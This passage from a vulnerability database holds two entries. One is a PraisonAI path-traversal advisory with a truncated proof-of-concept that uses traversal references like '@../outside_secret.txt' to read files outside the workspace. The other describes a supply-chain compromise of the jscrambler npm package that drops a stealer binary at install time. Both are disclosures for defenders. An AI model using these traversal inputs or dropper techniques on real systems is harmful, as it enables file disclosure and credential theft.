"/absolute/path"` returns the absolute path, and parent traversal such as `../outside_secret.txt` resolves outside the workspace when opened. The sink is in `src/praisonai/praisonai/cli/commands/run.py`: the `--command` path calls `interpolate_command_template()`, then passes the fully interpolated prompt to `_run_prompt()`. ## PoV A minimal vulnerable repository only needs a project command template and an outside file: ```text workspace/ .git/ .praisonai/ commands/ relative_escape.md # contains @../outside_secret.txt absolute_escape.md # contains an absolute path outside workspace inside.txt outside_secret.txt ``` When the operator runs the project command, PraisonAI discovers `.praisonai/commands/*.md`, interpolates the template with `Path.cwd()` as the working directory, reads the outside file, and passes the resulting prompt to `_run_prompt()`. The controls in the PoC below show the expected asymmetry: an in-workspace file expands, a missing file remains literal, shell substitution is escaped, and both parent traversal and absolute outside-file references disclose the outside canary. ## PoC From a fresh PraisonAI checkout, run the following command. The checkout path is passed as the first Python argument, and the script sets up the source import path itself; no hidden `PYTHONPATH` setup is required. ```bash git clone https://github.com/MervinPraison/PraisonAI.git cd PraisonAI git checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab python3 - "$PWD" <<'PY' from __future__ import annotations import importlib.util import json import os import subprocess import sys import tempfile import types from pathlib import Path CANARY = "PRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace" def install_yaml_fallback_if_needed() -> str: if importlib.util.find_spec("yaml") is not None: return "installed" yaml_stub = types.ModuleType("yaml") class YAMLError(Exception): pass def safe_load(text: str): data = {} for raw_line in text.splitlines(): line = raw_line.strip() if not line or line.startswith("#") or ":" not in line: continue key, value = line.split(":", 1) data[key.strip()] = value.strip().strip("'\"") return data yaml_stub.safe_load = safe_load yaml_stub.YAMLError = YAMLError sys.modules["yaml"] = yaml_stub return "stubbed" def add_source_to_path(source_root: Path) -> None: candidate = source_root / "src" / "praisonai" if (candidate / "praisonai").exists(): sys.path.insert(0, str(candidate)) return raise SystemExit(f"Could not find PraisonAI sources below {source_root}") class pushd: def __init__(self, path: Path): self.path = path self.old = Path.cwd() def __ent | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database Supply-chain compromise of the official jscrambler npm client, a legitimate JavaScript obfuscation tool with roughly 60K downloads per month. Version 8.14.0 was published from the legitimate publisher account (jscrambler_ / info@jscrambler.com), which points to an account or CI compromise rather than a typosquat. Compared to the clean 8.13.0, version 8.14.0 adds a new preinstall hook (node dist/setup.js) and a new 7.5MB dist/intro.js file (entropy 8.00) that is a custom-packed, multi-platform binary container (magic bytes 1b435349 01); both are absent in 8.13.0. At install time, setup.js gunzips the platform-matched payload from intro.js, writes it to a randomly named file under the OS temp directory with the executable bit set (0o755, or a .exe extension on Windows built via String.fromCharCode), then spawns it detached with unref and windowsHide while swallowing all errors. The result is a silent, install-time native-binary dropper. Multiple releases are compromised (8.14.0, 8.16.0, 8.17.0, 8.18.0, 8.20.0); the mechanism above was analyzed on 8.14.0. Version 8.13.0 is clean. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (afb577cf150e98ebfe551df006c555204f327432baa3789473981888761a8677) The package's main entry (dist/index.js) contains a top-level IIFE that runs on every require('jscrambler'). It reads a bundled 7.8 MB sibling file dist/intro.js, validates a custom container header (0x1b 0x43 0x53 0x49 0x01), selects a platform-specific gzip section (linux/win32/darwin), writes the decompressed bytes to os.tmpdir() under a hidden random dot-file name with mode 0755, and spawns the binary detached with stdio ignored and windowsHide, then unrefs the child. Errors are swallowed. The bundled payload dist/intro.js is not JavaScript: it uses a custom multi-platform container and contains strings characteristic of a cryptocurrency-wallet seed-phrase harvester and a browser-session stealer, including the BIP-39 English wordlist marker (bip39_english) and Chromium/BoringSSL TLS internals (ResumptionAttemptedWithVariedEms). Neither README nor CHANGELOG documents any native runtime component, and the CHANGELOG has no entries past 8.13.0. The wrapper's shape (custom magic header, hidden tmp filename, detached spawn, error-swallowed try/catch, undocumented payload) is inconsistent with the package's advertised CLI/API-client purpose and matches a malicious release / account-takeover pattern targeting installer wallets and browser sessions. ## Source: ghsa-malware (dd1dd335cffe74c32587c873f4b6d5efd7bf80a5fcecb9bad030662e2a7498c0) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database |
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